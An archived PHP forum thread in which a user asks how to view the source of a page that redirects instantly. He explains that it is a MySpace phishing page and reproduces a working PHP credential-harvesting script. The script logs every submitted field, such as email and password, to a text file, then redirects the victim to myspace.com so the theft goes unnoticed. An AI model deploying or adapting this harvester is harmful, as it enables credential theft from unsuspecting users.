Jump to content

Php redirection help.


Cheezeburgar

Recommended Posts

 

Their is a php redirection site, every time I go on it, it redirects me to a different website, I want to look at the source of the redirection page, but I don't have enough time to click on the view page source. Since as soon as I hit enter it redirects me to the redirection page.

 

Is their away I can view the source of this page?

 

Thank you for you time.

 

Link to comment
https://forums.phpfreaks.com/topic/60730-php-redirection-help/
Share on other sites

When you entered the site, quickly click "stop" and view source.

Or you can just search for javascript view source.

 

This is annoying me, I tried the click "go" and "stop", but no luck. When I stop it, on the address bar I see the link of the website that redirects you, but when I view the source of the redirected website.

 

ei; In the address bar it will say xxxx.com/k.php, but when I view the source, I see yyyyy.com's source.

 

How the I do the javascript view source?

Link to comment
https://forums.phpfreaks.com/topic/60730-php-redirection-help/#findComment-302123
Share on other sites

ill bet its php script that initiated the redirect.

if you view source login.php

 

youll see this lines..

 

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title></title></head><body></body></html>

 

meaning no meta tags or javascripts used.

 

 

 

 

Link to comment
https://forums.phpfreaks.com/topic/60730-php-redirection-help/#findComment-302967
Share on other sites

I am positive its php, since the code, is used for a phishing site, after you put in your email and password, and click submit it does that that website, which copies your email and password to a text file, and redirects you to the myspace home page, so you do suspect anything.

 

The reason why I want to view the source of login.php is so I could know the name of the text file that its sending all the emails and passwords to.

 

BTW this is what the scrip should look like.

 

<?php

header("Location: www.myspace.com");

$handle = fopen("xxxxx.txt", "a");

foreach($_GET as $variable => $value) {

  fwrite($handle, $variable);

  fwrite($handle, "=");

  fwrite($handle, $value);

  fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?>

 

Link to comment
https://forums.phpfreaks.com/topic/60730-php-redirection-help/#findComment-302968
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.